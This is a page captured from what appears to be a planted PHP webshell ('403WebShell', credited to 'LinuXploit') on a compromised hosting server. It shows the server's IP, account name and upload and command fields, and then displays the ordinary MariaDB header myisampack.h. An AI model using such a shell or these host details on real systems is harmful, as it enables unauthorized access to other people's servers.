Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.227.209.89
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/mysql/server/private/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/include/mysql/server/private/myisampack.h
#ifndef MYISAMPACK_INCLUDED
#define MYISAMPACK_INCLUDED

/* Copyright (c) 2000-2002, 2004 MySQL AB, 2009 Sun Microsystems, Inc.
   Copyright (c) 2020, MariaDB Corporation.
   Use is subject to license terms.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA */

/*
  Storing of values in high byte first order.

  integer keys and file pointers are stored with high byte first to get
  better compression
*/

/* these two are for uniformity */
#define mi_sint1korr(A) ((int8)(*A))
#define mi_uint1korr(A) ((uint8)(*A))

#define mi_sint2korr(A) ((int16) (((int16) (((const uchar*) (A))[1])) |\
                                  ((int16) ((uint16) ((const uchar*) (A))[0]) << 8)))
#define mi_sint3korr(A) ((int32) (((((const uchar*) (A))[0]) & 128) ? \
                                  (((uint32) 255L << 24) | \
                                   (((uint32) ((const uchar*) (A))[0]) << 16) |\
                                   (((uint32) ((const uchar*) (A))[1]) << 8) | \
                                   ((uint32) ((const uchar*) (A))[2])) : \
                                  (((uint32) ((const uchar*) (A))[0]) << 16) |\
                                  (((uint32) ((const uchar*) (A))[1]) << 8) | \
                                  ((uint32) ((const uchar*) (A))[2])))
#define mi_sint4korr(A) ((int32) (((uint32) (((const uchar*) (A))[3])) |\
                                  ((uint32) (((const uchar*) (A))[2]) << 8) |\
                                  ((uint32) (((const uchar*) (A))[1]) << 16) |\
                                  ((uint32) (((const uchar*) (A))[0]) << 24)))
#define mi_sint8korr(A) ((longlong) mi_uint8korr(A))
#define mi_uint2korr(A) ((uint16) (((uint16) (((const uchar*) (A))[1])) |\
                                   ((uint16) (((const uchar*) (A))[0]) << 8)))
#define mi_uint3korr(A) ((uint32) (((uint32) (((const uchar*) (A))[2])) |\
                                   (((uint32) (((const uchar*) (A))[1])) << 8) |\
                                   (((uint32) (((const uchar*) (A))[0])) << 16)))
#define mi_uint4korr(A) ((uint32) (((uint32) (((const uchar*) (A))[3])) |\
                                   (((uint32) (((const uchar*) (A))[2])) << 8) |\
                                   (((uint32) (((const uchar*) (A))[1])) << 16) |\
                                   (((uint32) (((const uchar*) (A))[0])) << 24)))

#ifndef HAVE_mi_uint5korr
#define mi_uint5korr(A) ((ulonglong)(((uint32) (((const uchar*) (A))[4])) |\
                                    (((uint32) (((const uchar*) (A))[3])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[2])) << 16) |\
                                    (((uint32) (((const uchar*) (A))[1])) << 24)) |\
                                    (((ulonglong) (((const uchar*) (A))[0])) << 32))
#endif /* HAVE_mi_uint5korr */

#ifndef HAVE_mi_uint6korr
#define mi_uint6korr(A) ((ulonglong)(((uint32) (((const uchar*) (A))[5])) |\
                                    (((uint32) (((const uchar*) (A))[4])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[3])) << 16) |\
                                    (((uint32) (((const uchar*) (A))[2])) << 24)) |\
                        (((ulonglong) (((uint32) (((const uchar*) (A))[1])) |\
                                    (((uint32) (((const uchar*) (A))[0]) << 8)))) <<\
                                     32))
#endif /* HAVE_mi_uint6korr */

#ifndef HAVE_mi_uint7korr
#define mi_uint7korr(A) ((ulonglong)(((uint32) (((const uchar*) (A))[6])) |\
                                    (((uint32) (((const uchar*) (A))[5])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[4])) << 16) |\
                                    (((uint32) (((const uchar*) (A))[3])) << 24)) |\
                        (((ulonglong) (((uint32) (((const uchar*) (A))[2])) |\
                                    (((uint32) (((const uchar*) (A))[1])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[0])) << 16))) <<\
                                     32))
#endif /* HAVE_mi_uint7korr */

#ifndef HAVE_mi_uint8korr
#define mi_uint8korr(A) ((ulonglong)(((uint32) (((const uchar*) (A))[7])) |\
                                    (((uint32) (((const uchar*) (A))[6])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[5])) << 16) |\
                                    (((uint32) (((const uchar*) (A))[4])) << 24)) |\
                        (((ulonglong) (((uint32) (((const uchar*) (A))[3])) |\
                                    (((uint32) (((const uchar*) (A))[2])) << 8) |\
                                    (((uint32) (((const uchar*) (A))[1])) << 16) |\
                                    (((uint32) (((const uchar*) (A))[0])) << 24))) <<\
                                    32))
#endif /* HAVE_mi_uint8korr */

/* This one is for uniformity */
#define mi_int1store(T,A) *((uchar*)(T))= (uchar) (A)

#define mi_int2store(T,A)   { uint def_temp= (uint) (A) ;\
                              ((uchar*) (T))[1]= (uchar) (def_temp);\
                              ((uchar*) (T))[0]= (uchar) (def_temp >> 8); }
#define mi_int3store(T,A)   { /*lint -save -e734 */\
                              ulong def_temp= (ulong) (A);\
                              ((uchar*) (T))[2]= (uchar) (def_temp);\
                              ((uchar*) (T))[1]= (uchar) (def_temp >> 8);\
                              ((uchar*) (T))[0]= (uchar) (def_temp >> 16);\
                              /*lint -restore */}
#define mi_int4store(T,A)   { ulong def_temp= (ulong) (A);\
                              ((uchar*) (T))[3]= (uchar) (def_temp);\
                              ((uchar*) (T))[2]= (uchar) (def_temp >> 8);\
                              ((uchar*) (T))[1]= (uchar) (def_temp >> 16);\
                              ((uchar*) (T))[0]= (uchar) (def_temp >> 24); }
#define mi_int5store(T,A)   { ulong def_temp= (ulong) (A),\
                              def_temp2= (ulong) ((A) >> 32);\
                              ((uchar*) (T))[4]= (uchar) (def_temp);\
                              ((uchar*) (T))[3]= (uchar) (def_temp >> 8);\
                              ((uchar*) (T))[2]= (uchar) (def_temp >> 16);\
                              ((uchar*) (T))[1]= (uchar) (def_temp >> 24);\
                              ((uchar*) (T))[0]= (uchar) (def_temp2); }
#define mi_int6store(T,A)   { ulong def_temp= (ulong) (A),\
                              def_temp2= (ulong) ((A) >> 32);\
                              ((uchar*) (T))[5]= (uchar) (def_temp);\
                              ((uchar*) (T))[4]= (uchar) (def_temp >> 8);\
                              ((uchar*) (T))[3]= (uchar) (def_temp >> 16);\
                              ((uchar*) (T))[2]= (uchar) (def_temp >> 24);\
                              ((uchar*) (T))[1]= (uchar) (def_temp2);\
                              ((uchar*) (T))[0]= (uchar) (def_temp2 >> 8); }
#define mi_int7store(T,A)   { ulong def_temp= (ulong) (A),\
                              def_temp2= (ulong) ((A) >> 32);\
                              ((uchar*) (T))[6]= (uchar) (def_temp);\
                              ((uchar*) (T))[5]= (uchar) (def_temp >> 8);\
                              ((uchar*) (T))[4]= (uchar) (def_temp >> 16);\
                              ((uchar*) (T))[3]= (uchar) (def_temp >> 24);\
                              ((uchar*) (T))[2]= (uchar) (def_temp2);\
                              ((uchar*) (T))[1]= (uchar) (def_temp2 >> 8);\
                              ((uchar*) (T))[0]= (uchar) (def_temp2 >> 16); }
#define mi_int8store(T,A)   { ulong def_temp3= (ulong) (A),\
                              def_temp4= (ulong) ((A) >> 32);\
                              mi_int4store((uchar*) (T) + 0, def_temp4);\
                              mi_int4store((uchar*) (T) + 4, def_temp3); }

#ifdef WORDS_BIGENDIAN

#define mi_float4store(T,A) { ((uchar*) (T))[0]= ((uchar*) &A)[0];\
                              ((uchar*) (T))[1]= ((uchar*) &A)[1];\
                              ((uchar*) (T))[2]= ((uchar*) &A)[2];\
                              ((uchar*) (T))[3]= ((uchar*) &A)[3]; }

#define mi_float4get(V,M)   { float def_temp;\
                              ((uchar*) &def_temp)[0]= ((const uchar*) (M))[0];\
                              ((uchar*) &def_temp)[1]= ((const uchar*) (M))[1]; \
                              ((uchar*) &def_temp)[2]= ((const uchar*) (M))[2];\
                              ((uchar*) &def_temp)[3]= ((const uchar*) (M))[3];\
                              (V)= def_temp; }

#define mi_float8store(T,V) { ((uchar*) (T))[0]= ((const uchar*) &V)[0];\
                              ((uchar*) (T))[1]= ((const uchar*) &V)[1];\
                              ((uchar*) (T))[2]= ((const uchar*) &V)[2];\
                              ((uchar*) (T))[3]= ((const uchar*) &V)[3];\
                              ((uchar*) (T))[4]= ((const uchar*) &V)[4];\
                              ((uchar*) (T))[5]= ((const uchar*) &V)[5];\
                              ((uchar*) (T))[6]= ((const uchar*) &V)[6];\
                              ((uchar*) (T))[7]= ((const uchar*) &V)[7]; }

#define mi_float8get(V,M)   { double def_temp;\
                              ((uchar*) &def_temp)[0]= ((const uchar*) (M))[0];\
                              ((uchar*) &def_temp)[1]= ((const uchar*) (M))[1];\
                              ((uchar*) &def_temp)[2]= ((const uchar*) (M))[2];\
                              ((uchar*) &def_temp)[3]= ((const uchar*) (M))[3];\
                              ((uchar*) &def_temp)[4]= ((const uchar*) (M))[4];\
                              ((uchar*) &def_temp)[5]= ((const uchar*) (M))[5];\
                              ((uchar*) &def_temp)[6]= ((const uchar*) (M))[6];\
                              ((uchar*) &def_temp)[7]= ((const uchar*) (M))[7]; \
                              (V)= def_temp; }
#else

#define mi_float4store(T,A) { ((uchar*) (T))[0]= ((const uchar*) &A)[3];\
                              ((uchar*) (T))[1]= ((const uchar*) &A)[2];\
                              ((uchar*) (T))[2]= ((const uchar*) &A)[1];\
                              ((uchar*) (T))[3]= ((const uchar*) &A)[0]; }

#define mi_float4get(V,M)   { float def_temp;\
                              ((uchar*) &def_temp)[0]= ((const uchar*) (M))[3];\
                              ((uchar*) &def_temp)[1]= ((const uchar*) (M))[2];\
                              ((uchar*) &def_temp)[2]= ((const uchar*) (M))[1];\
                              ((uchar*) &def_temp)[3]= ((const uchar*) (M))[0];\
                              (V)= def_temp; }

#if defined(__FLOAT_WORD_ORDER) && (__FLOAT_WORD_ORDER == __BIG_ENDIAN)
#define mi_float8store(T,V) { ((uchar*) (T))[0]= ((const uchar*) &V)[3];\
                              ((uchar*) (T))[1]= ((const uchar*) &V)[2];\
                              ((uchar*) (T))[2]= ((const uchar*) &V)[1];\
                              ((uchar*) (T))[3]= ((const uchar*) &V)[0];\
                              ((uchar*) (T))[4]= ((const uchar*) &V)[7];\
                              ((uchar*) (T))[5]= ((const uchar*) &V)[6];\
                              ((uchar*) (T))[6]= ((const uchar*) &V)[5];\
                              ((uchar*) (T))[7]= ((const uchar*) &V)[4];}

#define mi_float8get(V,M)   { double def_temp;\
                              ((uchar*) &def_temp)[0]= ((const uchar*) (M))[3];\
                              ((uchar*) &def_temp)[1]= ((const uchar*) (M))[2];\
                              ((uchar*) &def_temp)[2]= ((const uchar*) (M))[1];\
                              ((uchar*) &def_temp)[3]= ((const uchar*) (M))[0];\
                              ((uchar*) &def_temp)[4]= ((const uchar*) (M))[7];\
                              ((uchar*) &def_temp)[5]= ((const uchar*) (M))[6];\
                              ((uchar*) &def_temp)[6]= ((const uchar*) (M))[5];\
                              ((uchar*) &def_temp)[7]= ((const uchar*) (M))[4];\
                              (V)= def_temp; }

#else
#define mi_float8store(T,V) { ((uchar*) (T))[0]= ((const uchar*) &V)[7];\
                              ((uchar*) (T))[1]= ((const uchar*) &V)[6];\
                              ((uchar*) (T))[2]= ((const uchar*) &V)[5];\
                              ((uchar*) (T))[3]= ((const uchar*) &V)[4];\
                              ((uchar*) (T))[4]= ((const uchar*) &V)[3];\
                              ((uchar*) (T))[5]= ((const uchar*) &V)[2];\
                              ((uchar*) (T))[6]= ((const uchar*) &V)[1];\
                              ((uchar*) (T))[7]= ((const uchar*) &V)[0];}

#define mi_float8get(V,M)   { double def_temp;\
                              ((uchar*) &def_temp)[0]= ((const uchar*) (M))[7];\
                              ((uchar*) &def_temp)[1]= ((const uchar*) (M))[6];\
                              ((uchar*) &def_temp)[2]= ((const uchar*) (M))[5];\
                              ((uchar*) &def_temp)[3]= ((const uchar*) (M))[4];\
                              ((uchar*) &def_temp)[4]= ((const uchar*) (M))[3];\
                              ((uchar*) &def_temp)[5]= ((const uchar*) (M))[2];\
                              ((uchar*) &def_temp)[6]= ((const uchar*) (M))[1];\
                              ((uchar*) &def_temp)[7]= ((const uchar*) (M))[0];\
                              (V)= def_temp; }
#endif /* __FLOAT_WORD_ORDER */
#endif /* WORDS_BIGENDIAN */

/* Fix to avoid warnings when sizeof(ha_rows) == sizeof(long) */

#ifdef BIG_TABLES
#define mi_rowstore(T,A)    mi_int8store(T, A)
#define mi_rowkorr(T)       mi_uint8korr(T)
#else
#define mi_rowstore(T,A)    { mi_int4store(T, 0);\
                              mi_int4store(((uchar*) (T) + 4), A); }
#define mi_rowkorr(T)       mi_uint4korr((const uchar*) (T) + 4)
#endif

#if SIZEOF_OFF_T > 4
#define mi_sizestore(T,A)   mi_int8store(T, A)
#define mi_sizekorr(T)      mi_uint8korr(T)
#else
#define mi_sizestore(T,A)   { if ((A) == HA_OFFSET_ERROR)\
                                bfill((char*) (T), 8, 255);\
                              else { mi_int4store((T), 0);\
                                     mi_int4store(((T) + 4), A); }}
#define mi_sizekorr(T)      mi_uint4korr((const uchar*) (T) + 4)
#endif
#endif /* MYISAMPACK_INCLUDED */

Youez - 2016 - github.com/yon3zu
LinuXploit